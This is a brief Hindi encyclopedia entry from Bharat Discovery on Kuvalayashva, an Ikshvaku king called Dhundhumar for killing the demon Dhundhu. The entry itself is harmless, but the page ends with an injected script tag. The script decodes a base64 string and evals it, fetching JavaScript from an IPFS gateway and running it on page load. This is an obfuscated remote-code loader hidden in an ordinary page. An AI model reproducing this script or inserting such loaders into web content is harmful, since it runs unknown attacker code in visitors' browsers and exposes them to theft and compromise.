कुवलयाश्व

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कुवलयाश्व इक्ष्वाकु वंश के राजा बृहदश्व के पुत्र थे। इनके सौ पुत्र थे। कुवलयाश्व को 'धुंधमार' नाम से भी जाना जाता है, क्योंकि इन्होंने पिता के आदेश से 'धुंधु' नामक एक राक्षस का वध किया था। इसके वध की कथा विस्तारपूर्वक हरिवंश पुराण में वर्णित है।[1]


इन्हें भी देखें: इक्ष्वाकु वंश, भगीरथ एवं श्रीराम


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. कुवलयाश्व (हिन्दी)। । अभिगमन तिथि: 12 मार्च, 2014।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>